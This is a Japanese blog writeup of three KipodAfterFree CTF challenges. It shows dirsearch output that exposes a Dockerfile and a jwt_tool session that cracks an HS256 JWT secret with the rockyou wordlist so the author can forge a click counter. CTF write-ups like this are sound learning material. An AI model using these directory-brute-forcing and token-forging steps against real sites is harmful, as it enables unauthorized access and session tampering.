Midnight Monologues

日々勉強したことを書いてきます

KipodAfterFree CTF - Writeup

平日に開催されたKipodAfterFree CTF に個人で参加した。 3問だけ解けたのでWriteupを記載する。

Not A Flag (misc)

Description

Join our discord server!

Writeup

指定されたdiscordの[information]タブにflagが記載されている。 f:id:SYN-ACK:20191225190320j:plain

Flag : KAF{D1SC0RD_1S_9R3A7}

KipodStab (web)

Discription

The one who stabbed me will never be exposed.

http://ctf.kaf.sh:3040/

Writeup

指定されたURLへアクセスするとApache(debian)のindex.html画面が表示される。 f:id:SYN-ACK:20191225190034j:plain

入力欄などはないのでディレクトリ一覧を確認する。

root@kali:~/dirsearch# python3 dirsearch.py -u http://ctf.kaf.sh:3040/ -e php,asp,html

 _|. _ _  _  _  _ _|_    v0.3.9
(_||| _) (/_(_|| (_| )

Extensions: php, asp, html | HTTP method: get | Threads: 10 | Wordlist size: 6716

Error Log: /root/dirsearch/logs/errors-19-12-24_22-40-00.log

Target: http://ctf.kaf.sh:3040/

[22:40:01] Starting: 
[22:40:07] 403 -  199B  - /.ht_wsr.txt
[22:40:07] 403 -  199B  - /.hta
[22:40:07] 403 -  199B  - /.htaccess-dev
[22:40:07] 403 -  199B  - /.htaccess-local
[22:40:07] 403 -  199B  - /.htaccess.BAK
[22:40:07] 403 -  199B  - /.htaccess-marco
[22:40:07] 403 -  199B  - /.htaccess.bak1
[22:40:07] 403 -  199B  - /.htaccess.old
[22:40:07] 403 -  199B  - /.htaccess.orig
[22:40:07] 403 -  199B  - /.htaccess.sample
[22:40:07] 403 -  199B  - /.htaccess.save
[22:40:07] 403 -  199B  - /.htaccess.txt
[22:40:07] 403 -  199B  - /.htaccess_orig
[22:40:07] 403 -  199B  - /.htaccess_extra
[22:40:07] 403 -  199B  - /.htaccessBAK
[22:40:07] 403 -  199B  - /.htaccess_sc
[22:40:08] 403 -  199B  - /.htaccessOLD
[22:40:08] 403 -  199B  - /.htaccessOLD2
[22:40:08] 403 -  199B  - /.htaccess~
[22:40:08] 403 -  199B  - /.htgroup
[22:40:08] 403 -  199B  - /.htpasswd_test
[22:40:08] 403 -  199B  - /.htpasswd-old
[22:40:08] 403 -  199B  - /.htpasswds
[22:40:08] 403 -  199B  - /.htusers
[22:41:24] 200 -  107B  - /Dockerfile
[22:41:39] 301 -  237B  - /icons  ->  http://ctf.kaf.sh:3040/icons/
[22:41:42] 200 -    9KB - /index.html

Task Completed

/Dockerfileディレクトリがあるようだ。

対象のディレクトリにアクセスする。

root@kali:~/dirsearch# curl http://ctf.kaf.sh:3040/Dockerfile
FROM httpd:alpine

WORKDIR /usr/local/apache2/htdocs/

COPY . .

# Flag is KAF{dOn7_5748_doCK3R_CON741n3R2}
Flag : KAF{dOn7_5748_doCK3R_CON741n3R2}

Cookie Clicker (web)

Discription

Cookies are yummy, Can you help me rock this cookie ?

http://ctf.kaf.sh:3020

Writeup

指定されたURLへアクセスするとusernameの入力画面が表示される。 f:id:SYN-ACK:20191225190047j:plain

さらに進むとflagを表示するために100万回Clicksボタンを押す説明がある。 f:id:SYN-ACK:20191225190055j:plain

Cockieを見るとjwt形式のCookieが設定されている。 f:id:SYN-ACK:20191225190104j:plain

jwt.ioでCookieを確認するとHS256アルゴリズムを用いたjwtであり、username(ユーザ名)とclickCounter(クリック回数)、iat(JWT を発行した時刻)、exp(JWT の有効期限)の値が設定されている。 HS256アルゴリズムが用いられた場合、jwtの書き換えには署名検証用のsecretコードが別途必要になる。

ここで問題文の記載をみるとrock(you.txt)を使うようにヒントがある。 そのためsecretコードをrockyou.txtで確認する。

root@kali:~# ./jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEyMyIsImNsaWNrQ291bnRlciI6NSwiaWF0IjoxNTc3MTExMTk5LCJleHAiOjE1NzcxMTEyMjl9.YuSK2m5uTGymn0WFmVTkV4FzFjDuJG4hCaTELhV7TBE

   $$$$$\ $$\      $$\ $$$$$$$$\  $$$$$$$$\                  $$\ 
   \__$$ |$$ | $\  $$ |\__$$  __| \__$$  __|                 $$ |
      $$ |$$ |$$$\ $$ |   $$ |       $$ | $$$$$$\   $$$$$$\  $$ |
      $$ |$$ $$ $$\$$ |   $$ |       $$ |$$  __$$\ $$  __$$\ $$ |
$$\   $$ |$$$$  _$$$$ |   $$ |       $$ |$$ /  $$ |$$ /  $$ |$$ |
$$ |  $$ |$$$  / \$$$ |   $$ |       $$ |$$ |  $$ |$$ |  $$ |$$ |
\$$$$$$  |$$  /   \$$ |   $$ |       $$ |\$$$$$$  |\$$$$$$  |$$ |
 \______/ \__/     \__|   \__|$$$$$$\__| \______/  \______/ \__|
  Version 1.3                 \______|                           


=====================
Decoded Token Values:
=====================

Token header values:
[+] alg = HS256
[+] typ = JWT

Token payload values:
[+] username = 123
[+] clickCounter = 5
[+] iat = 1577111199    ==> TIMESTAMP = 2019-12-23 23:26:39 (UTC)
[+] exp = 1577111229    ==> TIMESTAMP = 2019-12-23 23:27:09 (UTC)

Seen timestamps:
[*] iat was seen
[+] exp is later than iat by: 0 days, 0 hours, 0 mins
[-] TOKEN IS EXPIRED!

----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------


########################################################
#  Options:                                            #
#                ==== TAMPERING ====                   #
#  1: Tamper with JWT data (multiple signing options)  #
#                                                      #
#             ==== VULNERABILITIES ====                #
#  2: Check for the "none" algorithm vulnerability     #
#  3: Check for HS/RSA key confusion vulnerability     #
#  4: Check for JWKS key injection vulnerability       #
#                                                      #
#            ==== CRACKING/GUESSING ====               #
#  5: Check HS signature against a key (password)      #
#  6: Check HS signature against key file              #
#  7: Crack signature with supplied dictionary file    #
#                                                      #
#            ==== RSA KEY FUNCTIONS ====               #
#  8: Verify RSA signature against a Public Key        #
#                                                      #
#  0: Quit                                             #
########################################################

Please make a selection (1-6)
> 7
Please provide filename for dictionary file.

> ./rockyou.txt

Loading key dictionary...
File loaded: ./rockyou.txt
Testing passwords in dictionary...
[*] Tested 1 million passwords so far

[+] mypinkipod is the CORRECT key!

secretコードのmypinkipodを使ってCockieのclickCounterを100万回に更新する。 更新したCockieをセットし直したあとにclickボタンを押すとflagが表示される。 f:id:SYN-ACK:20191225190112j:plain

Flag : KAF{koOK1E5_4rE_yUmmY_91Ve_mE_mOre}